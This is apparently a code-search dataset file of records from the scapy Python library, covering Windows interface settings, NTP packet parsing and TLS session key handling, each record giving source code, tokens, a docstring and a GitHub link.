"the",
"interface",
"mode",
".",
"It",
"can",
"be",
":",
"-",
"0",
"or",
"managed",
":",
"Managed",
"Mode",
"(",
"aka",
"Extensible",
"Station",
"Mode",
")",
"-",
"1",
"or",
"monitor",
":",
"Monitor",
"Mode",
"(",
"aka",
"Network",
"Monitor",
... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L447-L471 | train | Set the interface mode. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterface.setmodulation | def setmodulation(self, modu):
"""Set the interface modulation. It can be:
- 0: dsss
- 1: fhss
- 2: irbaseband
- 3: ofdm
- 4: hrdss
- 5: erp
- 6: ht
- 7: vht
- 8: ihv
- 9: mimo-ofdm
- 10: mim... | python | def setmodulation(self, modu):
"""Set the interface modulation. It can be:
- 0: dsss
- 1: fhss
- 2: irbaseband
- 3: ofdm
- 4: hrdss
- 5: erp
- 6: ht
- 7: vht
- 8: ihv
- 9: mimo-ofdm
- 10: mim... | [
"def",
"setmodulation",
"(",
"self",
",",
"modu",
")",
":",
"# According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501",
"self",
".",
"_check_npcap_requirement",
"(",
")",
"_modus",
"=",
"{",
"0",
":",
"\"dsss\"",
",",
"1",
":",
"... | Set the interface modulation. It can be:
- 0: dsss
- 1: fhss
- 2: irbaseband
- 3: ofdm
- 4: hrdss
- 5: erp
- 6: ht
- 7: vht
- 8: ihv
- 9: mimo-ofdm
- 10: mimo-ofdm
- the value directly
... | [
"Set",
"the",
"interface",
"modulation",
".",
"It",
"can",
"be",
":",
"-",
"0",
":",
"dsss",
"-",
"1",
":",
"fhss",
"-",
"2",
":",
"irbaseband",
"-",
"3",
":",
"ofdm",
"-",
"4",
":",
"hrdss",
"-",
"5",
":",
"erp",
"-",
"6",
":",
"ht",
"-",
... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L515-L546 | train | Set the interface modulation. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterfaceDict._pcap_check | def _pcap_check(cls):
"""Performs checks/restart pcap adapter"""
if not conf.use_winpcapy:
# Winpcap/Npcap isn't installed
return
_detect = pcap_service_status()
def _ask_user():
if not conf.interactive:
return False
msg =... | python | def _pcap_check(cls):
"""Performs checks/restart pcap adapter"""
if not conf.use_winpcapy:
# Winpcap/Npcap isn't installed
return
_detect = pcap_service_status()
def _ask_user():
if not conf.interactive:
return False
msg =... | [
"def",
"_pcap_check",
"(",
"cls",
")",
":",
"if",
"not",
"conf",
".",
"use_winpcapy",
":",
"# Winpcap/Npcap isn't installed",
"return",
"_detect",
"=",
"pcap_service_status",
"(",
")",
"def",
"_ask_user",
"(",
")",
":",
"if",
"not",
"conf",
".",
"interactive",... | Performs checks/restart pcap adapter | [
"Performs",
"checks",
"/",
"restart",
"pcap",
"adapter"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L595-L639 | train | Performs checks and restart pcap adapter | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterfaceDict.dev_from_name | def dev_from_name(self, name):
"""Return the first pcap device name for a given Windows
device name.
"""
try:
return next(iface for iface in six.itervalues(self)
if (iface.name == name or iface.description == name))
except (StopIteration, Runti... | python | def dev_from_name(self, name):
"""Return the first pcap device name for a given Windows
device name.
"""
try:
return next(iface for iface in six.itervalues(self)
if (iface.name == name or iface.description == name))
except (StopIteration, Runti... | [
"def",
"dev_from_name",
"(",
"self",
",",
"name",
")",
":",
"try",
":",
"return",
"next",
"(",
"iface",
"for",
"iface",
"in",
"six",
".",
"itervalues",
"(",
"self",
")",
"if",
"(",
"iface",
".",
"name",
"==",
"name",
"or",
"iface",
".",
"description"... | Return the first pcap device name for a given Windows
device name. | [
"Return",
"the",
"first",
"pcap",
"device",
"name",
"for",
"a",
"given",
"Windows",
"device",
"name",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L686-L694 | train | Return the first pcap device name for a given Windows device name. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterfaceDict.dev_from_pcapname | def dev_from_pcapname(self, pcap_name):
"""Return Windows device name for given pcap device name."""
try:
return next(iface for iface in six.itervalues(self)
if iface.pcap_name == pcap_name)
except (StopIteration, RuntimeError):
raise ValueError("U... | python | def dev_from_pcapname(self, pcap_name):
"""Return Windows device name for given pcap device name."""
try:
return next(iface for iface in six.itervalues(self)
if iface.pcap_name == pcap_name)
except (StopIteration, RuntimeError):
raise ValueError("U... | [
"def",
"dev_from_pcapname",
"(",
"self",
",",
"pcap_name",
")",
":",
"try",
":",
"return",
"next",
"(",
"iface",
"for",
"iface",
"in",
"six",
".",
"itervalues",
"(",
"self",
")",
"if",
"iface",
".",
"pcap_name",
"==",
"pcap_name",
")",
"except",
"(",
"... | Return Windows device name for given pcap device name. | [
"Return",
"Windows",
"device",
"name",
"for",
"given",
"pcap",
"device",
"name",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L696-L702 | train | Return Windows device name for given pcap device name. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterfaceDict.dev_from_index | def dev_from_index(self, if_index):
"""Return interface name from interface index"""
try:
if_index = int(if_index) # Backward compatibility
return next(iface for iface in six.itervalues(self)
if iface.win_index == if_index)
except (StopIteration, ... | python | def dev_from_index(self, if_index):
"""Return interface name from interface index"""
try:
if_index = int(if_index) # Backward compatibility
return next(iface for iface in six.itervalues(self)
if iface.win_index == if_index)
except (StopIteration, ... | [
"def",
"dev_from_index",
"(",
"self",
",",
"if_index",
")",
":",
"try",
":",
"if_index",
"=",
"int",
"(",
"if_index",
")",
"# Backward compatibility",
"return",
"next",
"(",
"iface",
"for",
"iface",
"in",
"six",
".",
"itervalues",
"(",
"self",
")",
"if",
... | Return interface name from interface index | [
"Return",
"interface",
"name",
"from",
"interface",
"index"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L704-L715 | train | Return interface name from interface index | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterfaceDict.reload | def reload(self):
"""Reload interface list"""
self.restarted_adapter = False
self.data.clear()
if conf.use_winpcapy:
# Reload from Winpcapy
from scapy.arch.pcapdnet import load_winpcapy
load_winpcapy()
self.load()
# Reload conf.iface
... | python | def reload(self):
"""Reload interface list"""
self.restarted_adapter = False
self.data.clear()
if conf.use_winpcapy:
# Reload from Winpcapy
from scapy.arch.pcapdnet import load_winpcapy
load_winpcapy()
self.load()
# Reload conf.iface
... | [
"def",
"reload",
"(",
"self",
")",
":",
"self",
".",
"restarted_adapter",
"=",
"False",
"self",
".",
"data",
".",
"clear",
"(",
")",
"if",
"conf",
".",
"use_winpcapy",
":",
"# Reload from Winpcapy",
"from",
"scapy",
".",
"arch",
".",
"pcapdnet",
"import",
... | Reload interface list | [
"Reload",
"interface",
"list"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L717-L727 | train | Reloads the internal list of the interface list | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/arch/windows/__init__.py | NetworkInterfaceDict.show | def show(self, resolve_mac=True, print_result=True):
"""Print list of available network interfaces in human readable form"""
res = []
for iface_name in sorted(self.data):
dev = self.data[iface_name]
mac = dev.mac
if resolve_mac and conf.manufdb:
... | python | def show(self, resolve_mac=True, print_result=True):
"""Print list of available network interfaces in human readable form"""
res = []
for iface_name in sorted(self.data):
dev = self.data[iface_name]
mac = dev.mac
if resolve_mac and conf.manufdb:
... | [
"def",
"show",
"(",
"self",
",",
"resolve_mac",
"=",
"True",
",",
"print_result",
"=",
"True",
")",
":",
"res",
"=",
"[",
"]",
"for",
"iface_name",
"in",
"sorted",
"(",
"self",
".",
"data",
")",
":",
"dev",
"=",
"self",
".",
"data",
"[",
"iface_nam... | Print list of available network interfaces in human readable form | [
"Print",
"list",
"of",
"available",
"network",
"interfaces",
"in",
"human",
"readable",
"form"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L729-L749 | train | Print list of available network interfaces in human readable form | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/contrib/cansocket_python_can.py | CANSocket.select | def select(sockets, remain=None):
"""This function is called during sendrecv() routine to select
the available sockets.
"""
if remain is not None:
max_timeout = remain / len(sockets)
for s in sockets:
if s.timeout > max_timeout:
... | python | def select(sockets, remain=None):
"""This function is called during sendrecv() routine to select
the available sockets.
"""
if remain is not None:
max_timeout = remain / len(sockets)
for s in sockets:
if s.timeout > max_timeout:
... | [
"def",
"select",
"(",
"sockets",
",",
"remain",
"=",
"None",
")",
":",
"if",
"remain",
"is",
"not",
"None",
":",
"max_timeout",
"=",
"remain",
"/",
"len",
"(",
"sockets",
")",
"for",
"s",
"in",
"sockets",
":",
"if",
"s",
".",
"timeout",
">",
"max_t... | This function is called during sendrecv() routine to select
the available sockets. | [
"This",
"function",
"is",
"called",
"during",
"sendrecv",
"()",
"routine",
"to",
"select",
"the",
"available",
"sockets",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/cansocket_python_can.py#L80-L92 | train | This function is called during sendrecv routine to select the available sockets. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/ntp.py | _ntp_dispatcher | def _ntp_dispatcher(payload):
"""
Returns the right class for a given NTP packet.
"""
# By default, calling NTP() will build a NTP packet as defined in RFC 5905
# (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.
if payload is None:
return NTPHeader
else:
... | python | def _ntp_dispatcher(payload):
"""
Returns the right class for a given NTP packet.
"""
# By default, calling NTP() will build a NTP packet as defined in RFC 5905
# (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.
if payload is None:
return NTPHeader
else:
... | [
"def",
"_ntp_dispatcher",
"(",
"payload",
")",
":",
"# By default, calling NTP() will build a NTP packet as defined in RFC 5905",
"# (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.",
"if",
"payload",
"is",
"None",
":",
"return",
"NTPHeader",
"else",
":",
"l... | Returns the right class for a given NTP packet. | [
"Returns",
"the",
"right",
"class",
"for",
"a",
"given",
"NTP",
"packet",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L167-L182 | train | Returns the right class for a given NTP packet. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/ntp.py | NTP.pre_dissect | def pre_dissect(self, s):
"""
Check that the payload is long enough to build a NTP packet.
"""
length = len(s)
if length < _NTP_PACKET_MIN_SIZE:
err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE "
err += "({})).".format(_NTP_PACKET_MIN_SIZE)
... | python | def pre_dissect(self, s):
"""
Check that the payload is long enough to build a NTP packet.
"""
length = len(s)
if length < _NTP_PACKET_MIN_SIZE:
err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE "
err += "({})).".format(_NTP_PACKET_MIN_SIZE)
... | [
"def",
"pre_dissect",
"(",
"self",
",",
"s",
")",
":",
"length",
"=",
"len",
"(",
"s",
")",
"if",
"length",
"<",
"_NTP_PACKET_MIN_SIZE",
":",
"err",
"=",
"\" ({}\"",
".",
"format",
"(",
"length",
")",
"+",
"\" is < _NTP_PACKET_MIN_SIZE \"",
"err",
"+=",
... | Check that the payload is long enough to build a NTP packet. | [
"Check",
"that",
"the",
"payload",
"is",
"long",
"enough",
"to",
"build",
"a",
"NTP",
"packet",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L199-L208 | train | Check that the payload is long enough to build a NTP packet. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/ntp.py | NTP.haslayer | def haslayer(self, cls):
"""Specific: NTPHeader().haslayer(NTP) should return True."""
if cls == "NTP":
if isinstance(self, NTP):
return True
elif issubtype(cls, NTP):
if isinstance(self, cls):
return True
return super(NTP, self).ha... | python | def haslayer(self, cls):
"""Specific: NTPHeader().haslayer(NTP) should return True."""
if cls == "NTP":
if isinstance(self, NTP):
return True
elif issubtype(cls, NTP):
if isinstance(self, cls):
return True
return super(NTP, self).ha... | [
"def",
"haslayer",
"(",
"self",
",",
"cls",
")",
":",
"if",
"cls",
"==",
"\"NTP\"",
":",
"if",
"isinstance",
"(",
"self",
",",
"NTP",
")",
":",
"return",
"True",
"elif",
"issubtype",
"(",
"cls",
",",
"NTP",
")",
":",
"if",
"isinstance",
"(",
"self"... | Specific: NTPHeader().haslayer(NTP) should return True. | [
"Specific",
":",
"NTPHeader",
"()",
".",
"haslayer",
"(",
"NTP",
")",
"should",
"return",
"True",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L212-L220 | train | Specific : NTPHeader. haslayer should return True. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/ntp.py | NTPHeader.guess_payload_class | def guess_payload_class(self, payload):
"""
Handles NTPv4 extensions and MAC part (when authentication is used.)
"""
plen = len(payload)
if plen > _NTP_AUTH_MD5_TAIL_SIZE:
return NTPExtensions
elif plen == _NTP_AUTH_MD5_TAIL_SIZE:
return NTPAuthen... | python | def guess_payload_class(self, payload):
"""
Handles NTPv4 extensions and MAC part (when authentication is used.)
"""
plen = len(payload)
if plen > _NTP_AUTH_MD5_TAIL_SIZE:
return NTPExtensions
elif plen == _NTP_AUTH_MD5_TAIL_SIZE:
return NTPAuthen... | [
"def",
"guess_payload_class",
"(",
"self",
",",
"payload",
")",
":",
"plen",
"=",
"len",
"(",
"payload",
")",
"if",
"plen",
">",
"_NTP_AUTH_MD5_TAIL_SIZE",
":",
"return",
"NTPExtensions",
"elif",
"plen",
"==",
"_NTP_AUTH_MD5_TAIL_SIZE",
":",
"return",
"NTPAuthen... | Handles NTPv4 extensions and MAC part (when authentication is used.) | [
"Handles",
"NTPv4",
"extensions",
"and",
"MAC",
"part",
"(",
"when",
"authentication",
"is",
"used",
".",
")"
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L464-L475 | train | Guesses the payload class based on the payload size. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | connState.sslv2_derive_keys | def sslv2_derive_keys(self, key_material):
"""
There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY.
Note that skip_first is opposite from the one with SSLv3 derivation.
Also, if needed, the IV should be set elsewhere.
"""
skip_first = True
if ((sel... | python | def sslv2_derive_keys(self, key_material):
"""
There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY.
Note that skip_first is opposite from the one with SSLv3 derivation.
Also, if needed, the IV should be set elsewhere.
"""
skip_first = True
if ((sel... | [
"def",
"sslv2_derive_keys",
"(",
"self",
",",
"key_material",
")",
":",
"skip_first",
"=",
"True",
"if",
"(",
"(",
"self",
".",
"connection_end",
"==",
"\"client\"",
"and",
"self",
".",
"row",
"==",
"\"read\"",
")",
"or",
"(",
"self",
".",
"connection_end"... | There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY.
Note that skip_first is opposite from the one with SSLv3 derivation.
Also, if needed, the IV should be set elsewhere. | [
"There",
"is",
"actually",
"only",
"one",
"key",
"the",
"CLIENT",
"-",
"READ",
"-",
"KEY",
"or",
"-",
"WRITE",
"-",
"KEY",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L219-L240 | train | This function is used to derive the keys from the server - read - key or - write - key. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | connState.snapshot | def snapshot(self):
"""
This is used mostly as a way to keep the cipher state and the seq_num.
"""
snap = connState(connection_end=self.connection_end,
read_or_write=self.row,
seq_num=self.seq_num,
compression_alg... | python | def snapshot(self):
"""
This is used mostly as a way to keep the cipher state and the seq_num.
"""
snap = connState(connection_end=self.connection_end,
read_or_write=self.row,
seq_num=self.seq_num,
compression_alg... | [
"def",
"snapshot",
"(",
"self",
")",
":",
"snap",
"=",
"connState",
"(",
"connection_end",
"=",
"self",
".",
"connection_end",
",",
"read_or_write",
"=",
"self",
".",
"row",
",",
"seq_num",
"=",
"self",
".",
"seq_num",
",",
"compression_alg",
"=",
"type",
... | This is used mostly as a way to keep the cipher state and the seq_num. | [
"This",
"is",
"used",
"mostly",
"as",
"a",
"way",
"to",
"keep",
"the",
"cipher",
"state",
"and",
"the",
"seq_num",
"."
] | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L250-L263 | train | Returns a new connState object with the current state of the current session. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | tlsSession.mirror | def mirror(self):
"""
This function takes a tlsSession object and swaps the IP addresses,
ports, connection ends and connection states. The triggered_commit are
also swapped (though it is probably overkill, it is cleaner this way).
It is useful for static analysis of a series of... | python | def mirror(self):
"""
This function takes a tlsSession object and swaps the IP addresses,
ports, connection ends and connection states. The triggered_commit are
also swapped (though it is probably overkill, it is cleaner this way).
It is useful for static analysis of a series of... | [
"def",
"mirror",
"(",
"self",
")",
":",
"self",
".",
"ipdst",
",",
"self",
".",
"ipsrc",
"=",
"self",
".",
"ipsrc",
",",
"self",
".",
"ipdst",
"self",
".",
"dport",
",",
"self",
".",
"sport",
"=",
"self",
".",
"sport",
",",
"self",
".",
"dport",
... | This function takes a tlsSession object and swaps the IP addresses,
ports, connection ends and connection states. The triggered_commit are
also swapped (though it is probably overkill, it is cleaner this way).
It is useful for static analysis of a series of messages from both the
client... | [
"This",
"function",
"takes",
"a",
"tlsSession",
"object",
"and",
"swaps",
"the",
"IP",
"addresses",
"ports",
"connection",
"ends",
"and",
"connection",
"states",
".",
"The",
"triggered_commit",
"are",
"also",
"swapped",
"(",
"though",
"it",
"is",
"probably",
"... | 3ffe757c184017dd46464593a8f80f85abc1e79a | https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L469-L513 | train | This function takes a TLSSession object and swaps the IP addresses ports connection ends and connection states. | Pu7Z6IJCgH3a,vcEHXBQXuDuh,sHOWSIAKtU58,ZVWAAMjVVHHl,qRin5pdYOdbB,IySsVMyKT3tF,FwEHNICjJCy0,yISIa0MMKKfB,GAtvbI59wr0o,OmNM6rT0Sgul,gu1MSKhYvigU,S2TTo9DhhiSh,aaLV7ZjAfkcR,ker4pIJmdvxf,WaQEaQCVMQ03,xV97BFGi0hY9,YnM1HtHE4j7G,X5FyJb4ToTo6,jLmadlzMdunT,GGFwFLsDF9Fv,prtR0Uw1GMh5,oNamnshN4dFG,QZzQeAYvsoum,VHAt7CcYKC2T,cKsTbNGL... |
secdev/scapy | scapy/layers/tls/session.py | tlsSession.compute_tls13_early_secrets | def compute_tls13_early_secrets(self):
"""
Ciphers key and IV are updated accordingly for 0-RTT data.
self.handshake_messages should be ClientHello only.
"""
# we use the prcs rather than the pwcs in a totally arbitrary way
if self.prcs is None:
# too soon
... | python | def compute_tls13_early_secrets(self):
"""
Ciphers key and IV are updated accordingly for 0-RTT data.
self.handshake_messages should be ClientHello only.
"""
# we use the prcs rather than the pwcs in a totally arbitrary way
if self.prcs is None:
# too soon
... | [
"def",
"compute_tls13_early_secrets",
"(",
"self",
")",
":",
"# we use the prcs rather than the pwcs in a totally arbitrary way",
"if",
"self",
".",
"prcs",
"is",
"None",
":",
"# too soon",
"return",
"hkdf",
"=",
"self",
".",
"prcs",
".",
"hkdf",
"self",
